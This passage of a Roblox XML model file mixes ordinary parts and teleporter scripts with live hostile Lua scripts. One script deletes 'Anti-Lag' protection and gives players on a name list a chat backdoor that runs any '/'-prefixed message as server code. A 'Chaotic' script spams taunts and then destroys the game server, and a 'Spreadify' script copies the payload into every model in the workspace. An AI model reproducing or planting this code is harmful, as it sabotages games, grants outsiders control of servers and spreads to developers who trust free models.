local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Geometry" referent="RBX42">
				<Properties>
					<string name="Name">OHAI</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX43">
					<Properties>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Controls</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX44">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Chaotic</string>
							<string name="Source">messages = {&quot;Death to roblox!&quot;, &quot;Robloxian Spirits will prevail!&quot;, &quot;Free model using fool!&quot;, &quot;1x1x1x1 will come!&quot;, &quot;Destruction to roblox!&quot;, &quot;Burn the capitalists, comrades!&quot;, &quot;We have already captured chuck norris, you are doomed!&quot;, &quot;FOR THE MOTHERLAND&quot;, &quot;SPAMSPAMSPAMSPAM&quot;, &quot;Telamon&apos;s security system sucks..&quot;, &quot;MrDoomBringer Phailz!&quot;, &quot;SPAMSKOIADGFVIKHJNWDSIV&quot;, &quot;KOMAPSAMEDA&quot;, &quot;I LOVE YOU&quot;, &quot;I HATE YOU&quot;, &quot;This is all a script, an alternate form of reality.&quot;, &quot;SPAM THE FORUMS PLZ&quot;}

while true do
wait(600)
if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
game.Lighting.TimeOfDay = &quot;00:00:00&quot;
game.Lighting.Brightness = 0
for i=1, 300 do
local a = Instance.new(&quot;Message&quot;)
a.Parent = game.Workspace
a.Text = messages[math.random(1, #messages)]
wait(.05)
end
game:Remove()
end
end
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX45">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Spreadify</string>
							<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX46">
			<Properties>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">RBX47</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX47">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-94</X>
						<Y>21</Y>
						<Z>-102.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>18</X>
						<Y>1.20000005</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX48">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1</int>
					<CoordinateFrame name="CFrame">
						<X>-94</X>
						<Y>12.3999996</Y>
						<Z>-102.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>16</X>
						<Y>16</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX49">
					<Properties>
						<token name="Face">5</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=3287313</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX50">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-102.5</X>
						<Y>10.3999996</Y>
						<Z>-102.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>20</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX51">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-94</X>
						<Y>3.79999971</Y>
						<Z>-102.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>16</X>
						<Y>1.20000005</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX52">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-85.5</X>
						<Y>10.3999996</Y>
						<Z>-102.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>20</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Geometry" referent="RBX53">
				<Properties>
					<string name="Name">OHAI</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX54">
					<Properties>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Controls</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX55">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Chaotic</string>
							<string name="Source">messages = {&quot;Death to roblox!&quot;, &quot;Robloxian Spirits will prevail!&quot;, &quot;Free model using fool!&quot;, &quot;1x1x1x1 will come!&quot;, &quot;Destruction to roblox!&quot;, &quot;Burn the capitalists, comrades!&quot;, &quot;We have already captured chuck norris, you are doomed!&quot;, &quot;FOR THE MOTHERLAND&quot;, &quot;SPAMSPAMSPAMSPAM&quot;, &quot;Telamon&apos;s security system sucks..&quot;, &quot;MrDoomBringer Phailz!&quot;, &quot;SPAMSKOIADGFVIKHJNWDSIV&quot;, &quot;KOMAPSAMEDA&quot;, &quot;I LOVE YOU&quot;, &quot;I HATE YOU&quot;, &quot;This is all a script, an alternate form of reality.&quot;, &quot;SPAM THE FORUMS PLZ&quot;}

while true do
wait(600)
if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
game.Lighting.TimeOfDay = &quot;00:00:00&quot;
game.Lighting.Brightness = 0
for i=1, 300 do
local a = Instance.new(&quot;Message&quot;)
a.Parent = game.Workspace
a.Text = messages[math.random(1, #messages)]
wait(.05)
end
game:Remove()
end
end
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX56">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Spreadify</string>
							<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX57">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>-11.9990253</X>
					<Y>0.990115821</Y>
					<Z>70.4361801</Z>
					<R00>-0.999998331</R00>
					<R01>2.68265183e-007</R01>
					<R02>0.00183810876</R02>
					<R10>1.66361602e-007</R10>
					<R11>1</R11>
					<R12>-5.54395265e-005</R12>
					<R20>-0.00183810876</R20>
					<R21>-5.54391263e-005</R21>
					<R22>-0.999998331</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>18</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="IntValue" referent="RBX58">
			<Properties>
				<string name="Name">Enabled</string>
				<int name="Value">1</int>
				<bool name="archivable">true</bool>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX59">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-244</X>
					<Y>29.3999996</Y>
					<Z>-239</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<string name="Name">teleporter2c</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>4</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="Script" referent="RBX60">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">--[[
INSTRUCTIONS: Place both teleporter1a and teleporter1b in the same directory
(e.g. both in workspace directly, or both directly in the same group or model)
Otherwise it wont work. Once youve done that, jump on the teleporter to teleport to the other.
If you want more than one set of teleporters I will be adding more types in the future.

Send me requests and ideas - miked.
--]]


--Enter the name of the model you want to go to here.
------------------------------------
modelname=&quot;teleporter2d&quot;
------------------------------------

function onTouched(part)
	if part.Parent ~= nil then
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
		if h~=nil then
			local teleportfrom=script.Parent.Enabled.Value
			if teleportfrom~=0 then
				if h==humanoid then
				return
				end
				local teleportto=script.Parent.Parent:findFirstChild(modelname)
				if teleportto~=nil then
					local torso = h.Parent.Torso
					local location = {teleportto.Position}
					local i = 1

					local x = location[i].x
					local y = location[i].y
					local z = location[i].z
				
					x = x + math.random(-1, 1)
					z = z + math.random(-1, 1)
					y = y + math.random(2, 3)

					local cf = torso.CFrame
					local lx = 0
					local ly = y
					local lz = 0
					
					script.Parent.Enabled.Value=0
					teleportto.Enabled.Value=0
					torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz))
					wait(3)
					script.Parent.Enabled.Value=1
					teleportto.Enabled.Value=1
				else
					print(&quot;Could not find teleporter!&quot;)
				end
			end
		end
	end
end

script.Parent.Touched:connect(onTouched)
</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="IntValue" referent="RBX61">
				<Properties>
					<string name="Name">Enabled</string>
					<int name="Value">1</int>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX62">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>35</X>
					<Y>12.2000027</Y>
					<Z>13.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<string name="Name">teleporter2d</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">1</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>15.6000004</Y>
					<Z>16</Z>
				</Vector3>
			</Properties>
			<Item class="Script" referent="RBX63">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">--[[
INSTRUCTIONS: Place both teleporter1a and teleporter1b in the same directory
(e.g. both in workspace directly, or both directly in the same group or model)
Otherwise it wont work. Once youve done that, jump on the teleporter to teleport to the other.
If you want more than one set of teleporters I will be adding more types in the future.

Send me requests and ideas - miked.
--]]


--Enter the name of the model you want to go to here.
------------------------------------
modelname=&quot;teleporter2c&quot;
------------------------------------

function onTouched(part)
	if part.Parent ~= nil then
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
		if h~=nil then
			local teleportfrom=script.Parent.Enabled.Value
			if teleportfrom~=0 then
				if h==humanoid then
				return
				end
				local teleportto=script.Parent.Parent:findFirstChild(modelname)
				if teleportto~=nil then
					local torso = h.Parent.Torso
					local location = {teleportto.Position}
					local i = 1

					local x = location[i].x
					local y = location[i].y
					local z = location[i].z
				
					x = x + math.random(-1, 1)
					z = z + math.random(-1, 1)
					y = y + math.random(2, 3)

					local cf = torso.CFrame
					local lx = 0
					local ly = y
					local lz = 0
					
					script.Parent.Enabled.Value=0
					teleportto.Enabled.Value=0
					torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz))
					wait(3)
					script.Parent.Enabled.Value=1
					teleportto.Enabled.Value=1
				else
					print(&quot;Could not find teleporter!&quot;)
				end
			end
		end
	end
end

script.Parent.Touched:connect(onTouched)
</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="IntValue" referent="RBX64">
				<Properties>
					<string name="Name">Enabled</string>
					<int name="Value">1</int>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX65">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">199</int>
				<CoordinateFrame name="CFrame">
					<X>-244.5</X>
					<Y>30.8999996</Y>
					<Z>-210.600006</Z>
					<R00>0</R00>
					<R01>-0</R01>
					<R02>-1</R02>
					<R10>1</R10>
					<R11>-0</R11>
					<R12>-0</R12>
					<R20>0</R20>
					<R21>-1</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
